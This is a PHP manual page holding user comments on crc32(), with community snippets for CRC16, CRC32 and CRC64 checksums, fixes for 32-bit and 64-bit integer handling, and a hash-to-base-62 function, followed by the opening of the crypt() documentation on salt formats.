The khash() function by sukitsupaluk has two problems, it does not use all 62 characters from the $map set and when corrected it then produces different results on 64-bit compared to 32-bit PHP systems.

Here is my modified version :

<?php

/**
 * Small sample convert crc32 to character map
 * Based upon http://www.php.net/manual/en/function.crc32.php#105703
 * (Modified to now use all characters from $map)
 * (Modified to be 32-bit PHP safe)
 */
function khash($data)
{
    static $map = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash = bcadd(sprintf('%u',crc32($data)) , 0x100000000);
    $str = "";
    do
    {
        $str = $map[bcmod($hash, 62) ] . $str;
        $hash = bcdiv($hash, 62);
    }
    while ($hash >= 1);
    return $str;
}
//-----------------------------------------------------------------------------------
$test = array(null, true, false, 0, "0", 1, "1", "2", "3", "ab", "abc", "abcd",
    "abcde", "abcdefoo", "248840027", "1365848013", // time()
    "9223372035488927794", // PHP_INT_MAX-time()
    "901131979", // mt_rand()
    "Sat, 13 Apr 2013 10:13:33 +0000" // gmdate('r')
);
$out = array();
foreach ($test as $s)
{
    $out[] = khash($s) . ": " . $s;
}
print "<h3>khash() -- maps a crc32 result into a (62-character) result</h3>";
print '<pre>';
var_dump($out);
print "\n\n\$GLOBALS['raw_crc32']:\n";
var_dump($GLOBALS['raw_crc32']);
print '</pre><hr>';
flush();
$pefile = __FILE__;
print "<h3>$pefile</h3>";
ob_end_flush();
flush();
highlight_file($pefile);
print "<hr>";
//-----------------------------------------------------------------------------------
/* CURRENT output
array(19) {
  [0]=>
  string(8) "4GFfc4: "
  [1]=>
  string(9) "76nO4L: 1"
  [2]=>
  string(8) "4GFfc4: "
  [3]=>
  string(9) "9aGcIp: 0"
  [4]=>
  string(9) "9aGcIp: 0"
  [5]=>
  string(9) "76nO4L: 1"
  [6]=>
  string(9) "76nO4L: 1"
  [7]=>
  string(9) "5b8iNn: 2"
  [8]=>
  string(9) "6HmfFN: 3"
  [9]=>
  string(10) "7ADPD7: ab"
  [10]=>
  string(11) "5F0aUq: abc"
  [11]=>
  string(12) "92kWw9: abcd"
  [12]=>
  string(13) "78hcpf: abcde"
  [13]=>
  string(16) "9eBVPB: abcdefoo"
  [14]=>
  string(17) "5TjOuZ: 248840027"
  [15]=>
  string(18) "5eNliI: 1365848013"
  [16]=>
  string(27) "4Q00e5: 9223372035488927794"
  [17]=>
  string(17) "6DUX8V: 901131979"
  [18]=>
  string(39) "5i2aOW: Sat, 13 Apr 2013 10:13:33 +0000"
}
*/
//-----------------------------------------------------------------------------------

?>
i at morfi dot ru 18-Mar-2013 10:16
Implementation crc64() in php 64bit

<?php

/**
 * @return array
 */
function crc64Table()
{
    $crc64tab = [];

    // ECMA polynomial
    $poly64rev = (0xC96C5795 << 32) | 0xD7870F42;

    // ISO polynomial
    // $poly64rev = (0xD8 << 56);

    for ($i = 0; $i < 256; $i++)
    {
        for ($part = $i, $bit = 0; $bit < 8; $bit++) {
            if ($part & 1) {
                $part = (($part >> 1) & ~(0x8 << 60)) ^ $poly64rev;
            } else {
                $part = ($part >> 1) & ~(0x8 << 60);
            }
        }

       $crc64tab[$i] = $part;
    }

    return $crc64tab;
}

/**
 * @param string $string
 * @param string $format
 * @return mixed
 *
 * Formats:
 *  crc64('php'); // afe4e823e7cef190
 *  crc64('php', '0x%x'); // 0xafe4e823e7cef190
 *  crc64('php', '0x%X'); // 0xAFE4E823E7CEF190
 *  crc64('php', '%d'); // -5772233581471534704 signed int
 *  crc64('php', '%u'); // 12674510492238016912 unsigned int
 */
function crc64($string, $format = '%x')
{
    static $crc64tab;

    if ($crc64tab === null) {
        $crc64tab = crc64Table();
    }

    $crc = 0;

    for ($i = 0; $i < strlen($string); $i++) {
        $crc = $crc64tab[($crc ^ ord($string[$i])) & 0xff] ^ (($crc >> 8) & ~(0xff << 56));
    }

    return sprintf($format, $crc);
}
Clifford dot ct at gmail dot com 07-Aug-2012 05:54
The crc32() function can return a signed integer in certain environments.  Assuming that it will always return an unsigned integer is not portable.

Depending on your desired behavior, you should probably use sprintf() on the result or the generic hash() instead.  Also note that integer arithmetic operators do not have the precision to work correctly with the integer output.
alban dot lopez+php [ at ] gmail dot com 27-Nov-2011 03:02
I made this code to verify Transmition with Vantage Pro2 ( weather station ) based on CRC16-CCITT standard.

<?php
// CRC16-CCITT validator
$crc_table = array(
    0x0,  0x1021,  0x2042,  0x3063,  0x4084,  0x50a5,  0x60c6,  0x70e7,
        0x8108,  0x9129,  0xa14a,  0xb16b,  0xc18c,  0xd1ad,  0xe1ce,  0xf1ef,
        0x1231,  0x210,  0x3273,  0x2252,  0x52b5,  0x4294,  0x72f7,  0x62d6,
        0x9339,  0x8318,  0xb37b,  0xa35a,  0xd3bd,  0xc39c,  0xf3ff,  0xe3de,
        0x2462,  0x3443,  0x420,  0x1401,  0x64e6,  0x74c7,  0x44a4,  0x5485,
        0xa56a,  0xb54b,  0x8528,  0x9509,  0xe5ee,  0xf5cf,  0xc5ac,  0xd58d,
        0x3653,  0x2672,  0x1611,  0x630,  0x76d7,  0x66f6,  0x5695,  0x46b4,
        0xb75b,  0xa77a,  0x9719,  0x8738,  0xf7df,  0xe7fe,  0xd79d,  0xc7bc,
        0x48c4,  0x58e5,  0x6886,  0x78a7,  0x840,  0x1861,  0x2802,  0x3823,
        0xc9cc,  0xd9ed,  0xe98e,  0xf9af,  0x8948,  0x9969,  0xa90a,  0xb92b,
        0x5af5,  0x4ad4,  0x7ab7,  0x6a96,  0x1a71,  0xa50,  0x3a33,  0x2a12,
        0xdbfd,  0xcbdc,  0xfbbf,  0xeb9e,  0x9b79,  0x8b58,  0xbb3b,  0xab1a,
        0x6ca6,  0x7c87,  0x4ce4,  0x5cc5,  0x2c22,  0x3c03,  0xc60,  0x1c41,
        0xedae,  0xfd8f,  0xcdec,  0xddcd,  0xad2a,  0xbd0b,  0x8d68,  0x9d49,
        0x7e97,  0x6eb6,  0x5ed5,  0x4ef4,  0x3e13,  0x2e32,  0x1e51,  0xe70,
        0xff9f,  0xefbe,  0xdfdd,  0xcffc,  0xbf1b,  0xaf3a,  0x9f59,  0x8f78,
        0x9188,  0x81a9,  0xb1ca,  0xa1eb,  0xd10c,  0xc12d,  0xf14e,  0xe16f,
        0x1080,  0xa1,  0x30c2,  0x20e3,  0x5004,  0x4025,  0x7046,  0x6067,
        0x83b9,  0x9398,  0xa3fb,  0xb3da,  0xc33d,  0xd31c,  0xe37f,  0xf35e,
        0x2b1,  0x1290,  0x22f3,  0x32d2,  0x4235,  0x5214,  0x6277,  0x7256,
        0xb5ea,  0xa5cb,  0x95a8,  0x8589,  0xf56e,  0xe54f,  0xd52c,  0xc50d,
        0x34e2,  0x24c3,  0x14a0,  0x481,  0x7466,  0x6447,  0x5424,  0x4405,
        0xa7db,  0xb7fa,  0x8799,  0x97b8,  0xe75f,  0xf77e,  0xc71d,  0xd73c,
        0x26d3,  0x36f2,  0x691,  0x16b0,  0x6657,  0x7676,  0x4615,  0x5634,
        0xd94c,  0xc96d,  0xf90e,  0xe92f,  0x99c8,  0x89e9,  0xb98a,  0xa9ab,
        0x5844,  0x4865,  0x7806,  0x6827,  0x18c0,  0x8e1,  0x3882,  0x28a3,
        0xcb7d,  0xdb5c,  0xeb3f,  0xfb1e,  0x8bf9,  0x9bd8,  0xabbb,  0xbb9a,
        0x4a75,  0x5a54,  0x6a37,  0x7a16,  0xaf1,  0x1ad0,  0x2ab3,  0x3a92,
        0xfd2e,  0xed0f,  0xdd6c,  0xcd4d,  0xbdaa,  0xad8b,  0x9de8,  0x8dc9,
        0x7c26,  0x6c07,  0x5c64,  0x4c45,  0x3ca2,  0x2c83,  0x1ce0,  0xcc1,
        0xef1f,  0xff3e,  0xcf5d,  0xdf7c,  0xaf9b,  0xbfba,  0x8fd9,  0x9ff8,
        0x6e17,  0x7e36,  0x4e55,  0x5e74,  0x2e93,  0x3eb2,  0xed1,  0x1ef0);

    $test = chr(0xC6).chr(0xCE).chr(0xA2).chr(0x03); // CRC16-CCITT = 0xE2B4
    genCRC ($test);

function genCRC (&$ptr)
{
    $crc = 0x0000;
    $crc_table = $GLOBALS['crc_table'];
    for ($i = 0; $i < strlen($ptr); $i++)
        $crc =  $crc_table[(($crc>>8) ^ ord($ptr[$i]))] ^ (($crc<<8) & 0x00FFFF);
    return $crc;
}
?>
arris at zsolttech dot com 19-Oct-2011 02:17
not found anywhere crc64 based on http://bioinfadmin.cs.ucl.ac.uk/downloads/crc64/crc64.c .

(use gmp module)

<?php

/* OLDCRC */
define('POLY64REV', "d800000000000000");
define('INITIALCRC', "0000000000000000");
define('TABLELEN', 256);
/* NEWCRC */
// define('POLY64REV', "95AC9329AC4BC9B5");
// define('INITIALCRC', "FFFFFFFFFFFFFFFF");

if(function_exists('gmp_init')){
        class CRC64{

                private static $CRCTable = array();

                public static function encode($seq){

                        $crc = gmp_init(INITIALCRC, 16);
                        $init = FALSE;
                        $poly64rev = gmp_init(POLY64REV, 16);

                        if (!$init)
                        {
                                $init = TRUE;
                                for ($i = 0; $i < TABLELEN; $i++)
                                {
                                        $part = gmp_init($i, 10);
                                        for ($j = 0; $j < 8; $j++)
                                        {
                                                if (gmp_strval(gmp_and($part, "0x1")) != "0"){
                                                        // if (gmp_testbit($part, 1)){ /* PHP 5 >= 5.3.0, untested */
                                                        $part = gmp_xor(gmp_div_q($part, "2"), $poly64rev);
                                                } else {
                                                        $part = gmp_div_q($part, "2");
                                                }
                                        }
                                        self::$CRCTable[$i] = $part;
                                }
                        }

                        for($k = 0; $k < strlen($seq); $k++){
                                $tmp_gmp_val = gmp_init(ord($seq[$k]), 10);
                                $tableindex = gmp_xor(gmp_and($crc, "0xff"), $tmp_gmp_val);
                                $crc = gmp_div_q($crc, "256");
                                $crc = gmp_xor($crc, self::$CRCTable[gmp_strval($tableindex, 10)]);
                        }

                        $res = gmp_strval($crc, 16);

                        return $res;
                }
        }
} else {
        die("Please install php-gmp package!!!");
}
?>
sukitsupaluk at hotmail dot com 08-Sep-2011 12:04
small sample convert crc32 to character map

<?php

function khash($data) {
    static $map="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash=crc32($data)+0x100000000;
    $str = "";
    do {
        $str = $map[31+ ($hash % 31)] . $str;
        $hash /= 31;
    } while($hash >= 1);
    return $str;
}
$test= array(null,TRUE,FALSE,0,"0",1,"1","2","3","ab","abc","abcd","abcde","abcdefoo");
$out = array();
foreach($test as $s)
{
    $out[]=khash($s).": ". $s;
}
var_dump($out);

/*
output:
array
  0 => string 'zVvOYTv: ' (length=9)
  1 => string 'xKDKKL8: 1' (length=10)
  2 => string 'zVvOYTv: ' (length=9)
  3 => string 'zOKCQxh: 0' (length=10)
  4 => string 'zOKCQxh: 0' (length=10)
  5 => string 'xKDKKL8: 1' (length=10)
  6 => string 'xKDKKL8: 1' (length=10)
  7 => string 'AFSzIAO: 2' (length=10)
  8 => string 'BXGSvQJ: 3' (length=10)
  9 => string 'xZWOQSu: ab' (length=11)
  10 => string 'AVAwHOR: abc' (length=12)
  11 => string 'zKASNE1: abcd' (length=13)
  12 => string 'xLCTOV7: abcde' (length=14)
  13 => string 'zQLzKMt: abcdefoo' (length=17)

*/

?>
chernyshevsky at hotmail dot com 23-Sep-2010 12:54
The crc32_combine() function provided by petteri at qred dot fi has a bug that causes an infinite loop, a shift operation on a 32-bit signed int might never reach zero. Replacing the function gf2_matrix_times() with the following seems to fix it:

<?php
function gf2_matrix_times($mat, $vec)
{
    $sum=0;
    $i=0;

    while ($vec) {
        if ($vec & 1) {
            $sum ^= $mat[$i];
        }
        $vec = ($vec >> 1) & 0x7FFFFFFF;
        $i++;
    }
    return $sum;
}
?>

Otherwise, it's probably the best solution if you can't use hash_file(). Using a 1meg read buffer, the function only takes twice as long to process a 300meg files than hash_file() in my test.
gabri dot ns at gmail dot com 16-Sep-2010 07:05
if you are looking for a fast function to hash a file, take a look at
http://www.php.net/manual/en/function.hash-file.php
this is crc32 file checker based on a CRC32 guide
it have performance at ~ 625 KB/s on my 2.2GHz Turion
far slower than hash_file('crc32b','filename.ext')
<?php
function crc32_file ($filename)
{
   $f = @fopen($filename,'rb');
   if (!$f) return false;

   static $CRC32Table, $Reflect8Table;
   if (!isset($CRC32Table))
   {
      $Polynomial = 0x04c11db7;
      $topBit = 1 << 31;

      for($i = 0; $i < 256; $i++)
      {
         $remainder = $i << 24;
         for ($j = 0; $j < 8; $j++)
         {
            if ($remainder & $topBit)
               $remainder = ($remainder << 1) ^ $Polynomial;
            else $remainder = $remainder << 1;
         }

         $CRC32Table[$i] = $remainder;

         if (isset($Reflect8Table[$i])) continue;
         $str = str_pad(decbin($i), 8, '0', STR_PAD_LEFT);
         $num = bindec(strrev($str));
         $Reflect8Table[$i] = $num;
         $Reflect8Table[$num] = $i;
      }
   }

   $remainder = 0xffffffff;
   while ($data = fread($f,1024))
   {
      $len = strlen($data);
      for ($i = 0; $i < $len; $i++)
      {
         $byte = $Reflect8Table[ord($data[$i])];
         $index = (($remainder >> 24) & 0xff) ^ $byte;
         $crc = $CRC32Table[$index];
         $remainder = ($remainder << 8) ^ $crc;
      }
   }

   $str = decbin($remainder);
   $str = str_pad($str, 32, '0', STR_PAD_LEFT);
   $remainder = bindec(strrev($str));
   return $remainder ^ 0xffffffff;
}
?>

<?php
$a = microtime();
echo dechex(crc32_file('filename.ext'))."\n";
$b = microtime();
echo array_sum(explode(' ',$b)) - array_sum(explode(' ',$a))."\n";
?>
Output:
ec7369fe
2.384134054184 (or similiar)
jian at theorchard dot com 17-Feb-2010 07:13
This function returns an unsigned integer from a 64-bit Linux platform.  It does return the signed integer from other 32-bit platforms even a 64-bit Windows one.

The reason is because the two constants PHP_INT_SIZE and PHP_INT_MAX have different values on the 64-bit Linux platform.

I've created a work-around function to handle this situation.

<?php
function get_signed_int($in) {
    $int_max = pow(2, 31)-1;
    if ($in > $int_max){
        $out = $in - $int_max * 2 - 2;
    }
    else {
        $out = $in;
    }
    return $out;
}
?>

Hope this helps.
berna (at) gensis (dot) com (dot) br 30-Sep-2009 05:16
For those who want a more familiar return value for the function:

<?php
function strcrc32($text) {
  $crc = crc32($text);
  if ($crc & 0x80000000) {
    $crc ^= 0xffffffff;
    $crc += 1;
    $crc = -$crc;
  }
  return $crc;
}
?>

And to show the result in Hex string:

<?php
function int32_to_hex($value) {
  $value &= 0xffffffff;
  return str_pad(strtoupper(dechex($value)), 8, "0", STR_PAD_LEFT);
}
?>
dave at jufer dot info 03-Dec-2007 11:15
This function returns the same int value on a 64 bit mc. like the crc32() function on a 32 bit mc.

<?php
function crcKw($num){
    $crc = crc32($num);
    if($crc & 0x80000000){
        $crc ^= 0xffffffff;
        $crc += 1;
        $crc = -$crc;
    }
    return $crc;
}
?>
Ren 03-Oct-2007 08:53
Dealing with 32 bit unsigned values overflowing 32 bit php signed values can be done by adding 0x10000000 to any unexpected negative result, rather than using sprintf.

$i = crc32('1');
printf("%u\n", $i);
if (0 > $i)
{
    // Implicitly casts i as float, and corrects this sign.
    $i += 0x100000000;
}
var_dump($i);

Outputs:

2212294583
float(2212294583)
slimshady451 20-Jun-2007 11:14
I see a lot of function for crc32_file, but for php version >= 5.1.2 don't forget you can use this :

<?php
function crc32_file($filename)
{
    return hash_file ('CRC32', $filename , FALSE );
}
?>

Using crc32(file_get_contents($filename)) will use too many memory on big file so don't use it.
mail at tristansmis dot nl 30-May-2007 10:36
I used the abs value of this function on a 32-bit system. When porting the code to a 64-bit system I’ve found that the value is different. The following code has the same outcome on both systems.
<?php

   $crc = abs(crc32($string));
   if( $crc & 0x80000000){
      $crc ^= 0xffffffff;
      $crc += 1;
   }

   /* Old solution
    * $crc = abs(crc32($string))
    */

?>
roberto at spadim dot com dot br 08-Apr-2006 06:52
MODBUS RTU, CRC16,
input-> modbus rtu string
output -> 2bytes string, in correct modbus order

<?php
function crc16($string,$length=0){

    $auchCRCHi=array(    0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40);
    $auchCRCLo=array(    0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
                0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
                0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
                0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
                0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
                0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
                0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
                0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
                0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
                0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
                0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
                0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
                0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
                0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
                0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
                0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
                0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
                0x40);
    $length        =($length<=0?strlen($string):$length);
    $uchCRCHi    =0xFF;
    $uchCRCLo    =0xFF;
    $uIndex        =0;
    for ($i=0;$i<$length;$i++){
        $uIndex        =$uchCRCLo ^ ord(substr($string,$i,1));
        $uchCRCLo    =$uchCRCHi ^ $auchCRCHi[$uIndex];
        $uchCRCHi    =$auchCRCLo[$uIndex] ;
    }
    return(chr($uchCRCLo).chr($uchCRCHi));
}
?>
Bulk at bulksplace dot com 27-Aug-2005 02:46
A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function:

<?php
// $file is the path to the file you want to check.
function file_crc($file)
{
    $file_string = file_get_contents($file);

    $crc = crc32($file_string);

    return sprintf("%u", $crc);
}

$file_to_crc = /home/path/to/file.jpg;

echo file_crc($file_to_crc); // Outputs CRC value for given file.
?>

I've found in testing this method is MUCH faster for larger binary files.
waldomonster at netjukebox dot demon dot nl 23-Apr-2004 05:48
<?php
$data = 'dot';
echo dechex(crc32($data));
?>

Returns 59278a3
Witch is missing a leading zero.

<?php
$data = 'dot';
echo str_pad(dechex(crc32($data)), 8, '0', STR_PAD_LEFT);
?>

Returns the correct string: 059278a3
arachnid at notdot dot net 14-Apr-2004 05:44
Note that the CRC32 algorithm should NOT be used for cryptographic purposes, or in situations where a hostile/untrusted user is involved, as it is far too easy to generate a hash collision for CRC32 (two different binary strings that have the same CRC32 hash). Instead consider SHA-1 or MD5.
same 02-Feb-2004 02:27
bit by bit crc32 computation

<?php

function bitbybit_crc32($str,$first_call=false){

    //reflection in 32 bits of crc32 polynomial 0x04C11DB7
    $poly_reflected=0xEDB88320;

    //=0xFFFFFFFF; //keep track of register value after each call
    static $reg=0xFFFFFFFF;

    //initialize register on first call
    if($first_call) $reg=0xFFFFFFFF;

    $n=strlen($str);
    $zeros=$n<4 ? $n : 4;

    //xor first $zeros=min(4,strlen($str)) bytes into the register
    for($i=0;$i<$zeros;$i++)
        $reg^=ord($str{$i})<<$i*8;

    //now for the rest of the string
    for($i=4;$i<$n;$i++){
        $next_char=ord($str{$i});
        for($j=0;$j<8;$j++)
            $reg=(($reg>>1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F)
                ^($reg&1)*$poly_reflected;
    }

    //put in enough zeros at the end
    for($i=0;$i<$zeros*8;$i++)
        $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected;

    //xor the register with 0xFFFFFFFF
    return ~$reg;
}

$str="123456789"; //whatever
$blocksize=4; //whatever

for($i=0;$i<strlen($str);$i+=$blocksize) $crc=bitbybit_crc32(substr($str,$i,$blocksize),!$i);

?>
quix at free dot fr 05-May-2003 10:19
I needed the crc32 of a file that was pretty large, so I didn't want to read it into memory.
So I made this:

<?php
    $GLOBALS['__crc32_table']=array();        // Lookup table array
    __crc32_init_table();

    function __crc32_init_table() {            // Builds lookup table array
        // This is the official polynomial used by
        // CRC-32 in PKZip, WinZip and Ethernet.
        $polynomial = 0x04c11db7;

        // 256 values representing ASCII character codes.
        for($i=0;$i <= 0xFF;++$i) {
            $GLOBALS['__crc32_table'][$i]=(__crc32_reflect($i,8) << 24);
            for($j=0;$j < 8;++$j) {
                $GLOBALS['__crc32_table'][$i]=(($GLOBALS['__crc32_table'][$i] << 1) ^
                    (($GLOBALS['__crc32_table'][$i] & (1 << 31))?$polynomial:0));
            }
            $GLOBALS['__crc32_table'][$i] = __crc32_reflect($GLOBALS['__crc32_table'][$i], 32);
        }
    }

    function __crc32_reflect($ref, $ch) {        // Reflects CRC bits in the lookup table
        $value=0;

        // Swap bit 0 for bit 7, bit 1 for bit 6, etc.
        for($i=1;$i<($ch+1);++$i) {
            if($ref & 1) $value |= (1 << ($ch-$i));
            $ref = (($ref >> 1) & 0x7fffffff);
        }
        return $value;
    }

    function __crc32_string($text) {        // Creates a CRC from a text string
        // Once the lookup table has been filled in by the two functions above,
        // this function creates all CRCs using only the lookup table.

        // You need unsigned variables because negative values
        // introduce high bits where zero bits are required.
        // PHP doesn't have unsigned integers:
        // I've solved this problem by doing a '&' after a '>>'.

        // Start out with all bits set high.
        $crc=0xffffffff;
        $len=strlen($text);

        // Perform the algorithm on each character in the string,
        // using the lookup table values.
        for($i=0;$i < $len;++$i) {
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($text{$i})];
        }

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }

    function __crc32_file($name) {            // Creates a CRC from a file
        // Info: look at __crc32_string

        // Start out with all bits set high.
        $crc=0xffffffff;

        if(($fp=fopen($name,'rb'))===false) return false;

        // Perform the algorithm on each character in file
        for(;;) {
            $i=@fread($fp,1);
            if(strlen($i)==0) break;
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($i)];
        }

        @fclose($fp);

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }
?>
spectrumizer at cycos dot net 30-Dec-2002 12:30
Here is a tested and working CRC16-Algorithm:

<?php
function crc16($string) {
  $crc = 0xFFFF;
  for ($x = 0; $x < strlen ($string); $x++) {
    $crc = $crc ^ ord($string[$x]);
    for ($y = 0; $y < 8; $y++) {
      if (($crc & 0x0001) == 0x0001) {
        $crc = (($crc >> 1) ^ 0xA001);
      } else { $crc = $crc >> 1; }
    }
  }
  return $crc;
}
?>

Regards,
Mario


One-way string hashing

  • « crc32
  • echo »
  • PHP Manual
  • String Functions
  • One-way string hashing

crypt

(PHP 4, PHP 5)

crypt — One-way string hashing

Description

string crypt ( string $str [, string $salt ] )

crypt() will return a hashed string using the standard Unix DES-based algorithm or alternative algorithms that may be available on the system.

The salt parameter is optional. However, crypt() creates weak password without salt. PHP 5.6 or later raise E_NOTICE error without it. Make sure specify strong enough salt for better security.

password_hash() uses strong hash, generates strong salt, applies proper rounds automatically. password_hash() is simple crypt() wrapper and compatible with existing password hashes. Use of password_hash() is encouraged.

Some operating systems support more than one type of hash. In fact, sometimes the standard DES-based algorithm is replaced by an MD5-based algorithm. The hash type is triggered by the salt argument. Prior to 5.3, PHP would determine the available algorithms at install-time based on the system's crypt(). If no salt is provided, PHP will auto-generate either a standard two character (DES) salt, or a twelve character (MD5), depending on the availability of MD5 crypt(). PHP sets a constant named CRYPT_SALT_LENGTH which indicates the longest valid salt allowed by the available hashes.

The standard DES-based crypt() returns the salt as the first two characters of the output. It also only uses the first eight characters of str, so longer strings that start with the same eight characters will generate the same result (when the same salt is used).

On systems where the crypt() function supports multiple hash types, the following constants are set to 0 or 1 depending on whether the given type is available:

  • CRYPT_STD_DES - Standard DES-based hash with a two character salt from the alphabet "./0-9A-Za-z". Using invalid characters in the salt will cause crypt() to fail.
  • CRYPT_EXT_DES - Extended DES-based hash. The "salt" is a 9-character string consisting of an underscore followed by 4 bytes of iteration count and 4 bytes of salt. These are encoded as printable characters, 6 bits per character, least significant character first. The values 0 to 63 are encoded as "./0-9A-Za-z". Using invalid characters in the salt will cause crypt() to fail.
  • CRYPT_MD5 - MD5 hashing with a twelve character salt starting with $1$
  • CRYPT_BLOWFISH - Blowfish hashing with a salt as follows: "$2a$", "$2x$" or "$2y$", a two digit cost parameter, "$", and 22 characters from the alphabet "./0-9A-Za-z". Using characters outside of this range in the salt will cause crypt() to return a zero-length string. The two digit cost parameter is the base-2 logarithm of the iteration count for the underlying Blowfish-based hashing algorithmeter and must be in range 04-31, values outside this range will cause crypt() to fail. Versions of PHP before 5.3.7 only support "$2a$" as the salt prefix: PHP 5.3.7 introduced the new prefixes to fix a security weakness in the Blowfish implementation. Please refer to » this document for full details of the security fix, but to summarise, developers targeting only PHP 5.3.7 and later should use "$2y$" in preference to "$2a$".
  • CRYPT_SHA256 - SHA-256 hash with a sixteen character salt prefixed with $5$. If the salt string starts with 'rounds=<N>$', the numeric value of N is used to indicate how many times the hashing loop should be executed, much like the cost parameter on Blowfish. The default number of rounds is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any selection of N outside this range will be truncated to the nearest limit.
